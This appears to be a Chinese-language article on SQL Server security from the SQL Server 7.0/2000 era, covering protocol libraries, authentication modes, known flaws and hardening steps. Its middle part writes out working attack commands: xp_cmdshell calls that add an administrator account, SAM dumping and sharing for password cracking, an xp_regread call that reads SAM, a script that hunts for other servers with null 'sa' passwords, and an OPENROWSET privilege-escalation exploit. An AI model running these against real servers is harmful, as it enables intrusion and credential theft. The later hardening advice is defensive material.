关于SQL SERVER的一些安全问题

　　目前关于NT服务器的入侵，有很多种方法，如对IIS的漏洞进行利用，但大家不知道注意到没有，其实通过与NT服务器相关联的SQL数据库服务器的例子也是很有比例的一种手段。Herbless入侵破坏的一些站点，如legoland.co.uk站点就是通过SQL服务器的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可少的，这里我整理了一些漏洞供大家来参考。

　　--------------------------------------------------------------

　　我们先来看看SQL服务程序支持的网络协议库:

　　--------------------------------------------------------------

　　| SQL Server Network Protocol Libraries |

　　--------------------------------------------------------------

　　|Protocol library| 可能存在的漏洞 | 是否加密 |

　　--------------------------------------------------------------

　　|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |

　　|(有名管道) | 138）来进行通信，这些可以被通 | |

　　| | 的防火墙控制，但如果内部网络可| |

　　| | 随意访问的话也是一个不小的缺陷| |

　　| | --用户名字，密码和数据没有进行加| |

　　| | 传输，任何人可以通过SNIFFER来 | |

　　| | 进行数据捕获。 | |

　　--------------------------------------------------------------

　　|IP Sockets | --默认状态下开1433口，你可以使用| 否 |

　　| | 扫描器来查看这个端口。 | |

　　| | 可以被SNIFFER截获数据。 | |

　　--------------------------------------------------------------

　　|Multi-Protocol | --客户端需要支持NT RPCs;在不同 | 是 |

　　| | 种类的环境中可能引起问题。 | |

　　| | --默认情况下使用TCP随机端口，但| |

　　| | 防火墙进行端口图固定实现（参 | |

　　| | 看KB Q164667）。 | |

　　| | --需要注意加密选项是否选择，默 | |

　　| | 是不选择此选项的。 | |

　　--------------------------------------------------------------

　　|NWLink | --存在被SNIFFER截获数据的危险 | 否 |

　　--------------------------------------------------------------

　　|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |

　　--------------------------------------------------------------

　　|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |

　　--------------------------------------------------------------

　　一般的推荐使用是：如果你能在Integrated (NT) Security上使用Named Pipes 或者Multi-protocol，那你就使用这些协议库，如果可能，尽量使用Multi-protocol和使能加密选项。如果你上面几个不能使用，那就使用IP Sockets协议，并改变其默认的端口并随时检查系统保证无任何SNIFFER存在。并且，考虑使用一WEB服务或者COM组件作为应用程序的business object layer，并在中间层和SQL服务程序中使用安全通道(secure channel)。有不少第三方的产品可以加密这方面的通信。

　　---------------------------------------------------------------------

　　下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作？

　　安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户，请看下面SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别：

　　-----------------------------------------------------------------

　　|安全模式 | SQL Server 6.5 | SQL Server 7.0改变地方 |

　　-----------------------------------------------------------------

　　|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER|

　　|标准模式 | 而且给定密码。 | 没有使用了。 |

　　| | --SQL SERVER的登录帐户与| |

　　| | WINDOW NT分开 | |

　　-----------------------------------------------------------------

　　|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"|

　　|综合模式 | 户。 | 模式。 |

　　| |-用户在连接到SQL SERVER| --只工作在NT系统下，在WIN9X不|

　　| | 不需要特定分开LOGIN和 | 支持。 |

　　| | 密码。 | |

　　| |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 |

　　| | 中，并不以明文在网络中| 管理，（注意有一BUILTIN组在|

　　| | 传输。 | 本地系统上产生). |

　　| |-SQL SERVER可以使用NT的| |

　　| | 的认证方式来认证用户并| |

　　| | 可以使用如帐户过期等。| |

　　| |-需要Named Pipe或Multi-| |

　　| | Protocol库。 | |

　　------------------------------------------------------------------

　　|Mixed |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT |

　　|混合性方式 | 征但有后退的东西是客户| 模式。 |

　　| | 端不能建立可信任连接。| --尽量使用WINDOW NT ONLY模式 | |

　　------------------------------------------------------------------

　　登录只不过是第一步，一旦用户登录，用户必须访问独立的数据库，要使上面的成立，就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给某些人访问你的数据库。

　　详细的大家可以参看微软的站点：

　　http://www.microsoft.com/technet/SQL/Technote/secure.asp

　　-------------------------------------------------------------------

　　关于SQL SERVER存在的一些安全问题：

　　存在"sa"帐户，密码就为空，而且这个密码是SQL SERVER安全模块成员，我们就可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命令操作，如：

　　Xp_cmdshell "net user testuser UgotHacked /ADD"

　　然后在：

　　Xp_cmdshell "net localgroup Administrators testuser /ADD"

　　这样攻击者就成功的在SQL SERVER上增加了一个用户。

　　当然远程的话，一般需要有1433口开着，通过MYSQL 客户端进行连接。

　　当然你也可以使用：

　　Xp_cmdshell "rdisk /s-"

　　的方法，这样就在\winnt\repair目录里重建了信息而不提示用户。然后在SAM备份以后，攻击者可以建立一个SMB连接到共享或者建立一个连接：

　　Xp_cmdshell "net share getsam=c:\winnt\repair"

　　利用共享获得这个文件，然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙控制了，或者关闭了，攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器下载。如果人家没有开IIS，你何不用tftp呢:).

　　OK，通过这台被控制的SQL SERVER服务器，攻击者可以通过它来查找网络内部其他机器来扩大战果，下面是一个SQL脚本来列举网络中其他SQL SERVER存在空帐户'sa'的示例：

　　---------------------------------------------------------------------

　　Create temp table to store enumerated servers

　　SET NOCOUNT ON

　　CREATE TABLE #temp (shelldump varchar(255))

　　INSERT #temp EXEC xp_cmdshell 'osql -L'

　　DECLARE @current_server varchar(255), @conn_string varchar(255)

　　DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

　　OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

　　Loop through potential targets and check for null sa accounts

　　If target is vulnerable, version information will be displayed

　　WHILE @@FETCH_STATUS = 0

　　BEGIN

　　If @current_server <>'Servers:'

　　BEGIN

　　SELECT @current_server = rtrim(ltrim(@current_server))

　　SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

　　PRINT 'Attempting connection to server: ' + @current_server

　　EXECUTE (@conn_string)

　　PRINT '====================================================================='

　　END

　　FETCH NEXT FROM sql_cursor INTO @current_server

　　END

　　Clean up

　　CLOSE sql_cursor

　　DEALLOCATE sql_cursor

　　DROP TABLE #TEMP

　　--------------------------------------------------------------------

　　当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程)，我们也可以使用下面的方法：

　　xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'

　　如果MSSqlserver 服务在本地系统帐户下运行，并且如果系统上没有安装syskey,上面的调用就可以返回注册表中加密的密码或者SID。

　　------------------------------------------------------------------------

　　另一个漏洞，是关于adhoc heterogenous queries 来进行权利的提升，请看下面微软的描述：http://www.microsoft.com/technet/security/bulletin/fq00-014.asp

　　关于上面的漏洞，可以使用下面的xploit来获得权利的提升：

　　SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',

　　'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')

　　这是大家比较喜欢的一种可以执行其他命令，自己想吧。

　　-------------------------------------------------------------------------

　　还有就是最近的一个漏洞：Extended Stored Procedure Parameter Parsing (扩展存储过程参数解析)的漏洞，详细信息在这个URL有介绍：

　　http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。

　　起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时解释深入参数的，如:

　　exec <存储过程名> <参数1>, <参数2>, ...

　　如要查询“c:\winnt”的目录树，可以如下表达：

　　exec xp_dirtree 'c:\winnt'

　　但没有检查各个参数的长度，传递相当长的字符串，就存在了覆盖其他堆栈参数的可能导致缓冲溢出。

　　目前已经知道的过程如下：

　　目前已知受影响的扩展存储过程如下：

　　1、xp_peekqueue (xpqueue.dll)

　　xp_printstatements (xprepl.dll)

　　给第一个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

　　2、xp_proxiedmetadata (xprepl.dll)

　　该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

　　3、xp_SetSQLSecurity (xpstar.dll)

　　该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL Server进程立即终止。

　　4、xp_displayparamstmt(xprepl.dll)

　　xp_enumresultset(xprepl.dll)

　　xp_showcolv (xprepl.dll)

　　xp_updatecolvbm (xprepl.dll)

　　给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返回地址。

　　这里告诉大家一个技巧性的东西，如果想要知道这些扩展存储过程调用了那写dll文件，你可以如下操作，如：

　　select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name

　　= 'xp_peekqueue'

　　这样你就可以获得调用这个扩展存储过程的DLL了，如果微软没有出补丁的话，你就暂时把这个DLL文件改名吧，当然有些DLL文件调用几个扩展存储过程，不能盲目更改，否则导致其他的也不能使用，你需要使用下面的操作来知道DLL调用那些扩展存储过程：

　　select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

　　幸好微软出了补丁，你可以到下面的地方找到，不用一个一个找DLL程序了，呵呵：

　　这个漏洞@stake发现并提供演示的测试代码，大家可在这里找到：

　　------------------------------------------------------------------------

　　OK，当然SQL SERVER也有一些其他漏洞，相对轻微些，如ISS发现的管理员LOGIN ID存储在注册表中，其加密的方法比较简单，很容易获得，详细情况请看：http://xforce.iss.net/alerts/advise45.php3。大家可以到其他地方找找。

　　-------------------------------------------------------------------

　　一些对SQL SERVER系统的安全建议：

　　保证打上最新的安全补丁，如下：

　　Windows NT 4.0 - Service Pack 6a

　　SQL Server 6.5 - Service Pack 5a

　　SQL Server 7.0 - Service Pack 2. (Various hotfixes - check

　　http://www.microsoft.com/download)

　　SQL Server 2000 - Hotfix S80233i.exe (Intel)

　　当然大家要密切注意微软的安全公告。

　　不要在IP sockets使用端口1433，如果你使用Multi-protocol也请修改端口。

　　不要把'sa'密码嵌入到任意应用程序如VB/DELPHI apps里，或者一global.asa文件里，因为"sa"是SQL Server 的一个默认密码，其权限类似与WINDOWS NT系统里的管理员帐户，而且密码为空。

　　改变'sa'和'probe'帐户的密码。

　　保证SQL SERVER的错误记录在NTFS系统上。

　　如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务器上。在任何isql窗口中输入：

　　use master

　　sp_dropextendedproc 'xp_cmdshell'

　　丢弃不需要OLE自动存储过程，当然Enterprise Manager中的某些特征也会不能使用，这些过程包括如下：

　　Sp_OACreate Sp_OADestroy

　　Sp_OAGetErrorInfo Sp_OAGetProperty

　　Sp_OAMethod Sp_OASetProperty

　　Sp_OAStop

　　去掉不需要的注册表访问过程，如下：

　　Xp_regaddmultistring

　　Xp_regdeletekey

　　Xp_regdeletevalue

　　Xp_regenumvalues

　　Xp_regread

　　Xp_regremovemultistring

　　Xp_regwrite

　　去掉其他系统存储过程，如果你认为你觉得你还有威胁，当然要小心Drop这些过程，你可以在测试机器上测试，保证你正常的

　　系统能完成工作，这些过程包括：

　　sp_bindsession sp_cursor sp_cursorclose

　　sp_cursorfetch sp_cursoropen sp_cursoroption

　　sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte

　　sp_OACreate sp_OADestroy sp_OAGetErrorInfo

　　sp_OAGetProperty sp_OAMethod sp_OASetProperty

　　sp_OAStop sp_replcmds sp_replcounters

　　sp_repldone sp_replflush sp_replstatus

　　sp_repltrans sp_sdidebug xp_availablemedia

　　xp_cmdshell xp_deletemail xp_dirtree

　　xp_dropwebtask xp_dsninfo xp_enumdsn

　　xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks

　　xp_eventlog xp_findnextmsg xp_fixeddrives

　　xp_getfiledetails xp_getnetname xp_grantlogin

　　xp_logevent xp_loginconfig xp_logininfo

　　xp_makewebtask xp_msver xp_perfend

　　xp_perfmonitor xp_perfsample xp_perfstart

　　xp_readerrorlog xp_readmail xp_revokelogin

　　xp_runwebtask xp_schedulersignal xp_sendmail

　　xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap

　　xp_sprintf xp_sqlinventory xp_sqlregister

　　xp_sqltrace xp_sscanf xp_startmail

　　xp_stopmail xp_subdirs xp_unc_to_drive

　　去掉数据库中guest用户。

　　关闭SQL MAIL兼容能力，防止传递一些木马病毒等。

　　设置一个任务处理来定时运行下面的程序：

　　findstr /C:"Login Failed" \mssql7\log\*.*'

　　再重定向到其他文件或者MAIL到管理员信箱。

　　经常检查带有空密码的帐户：

　　Use master

　　Select name,

　　Password

　　from syslogins

　　where password is null

　　order by name

　　检查所有不需要'sa'权限的存储过程和扩展存储过程访问权限：

　　Use master

　　Select sysobjects.name

　　From sysobjects, sysprotects

　　Where sysprotects.uid = 0

　　AND xtype IN ('X','P')

　　AND sysobjects.id = sysprotects.id

　　Order by name

　　保证SQL SERVER的传输信息在隔离的网络段中。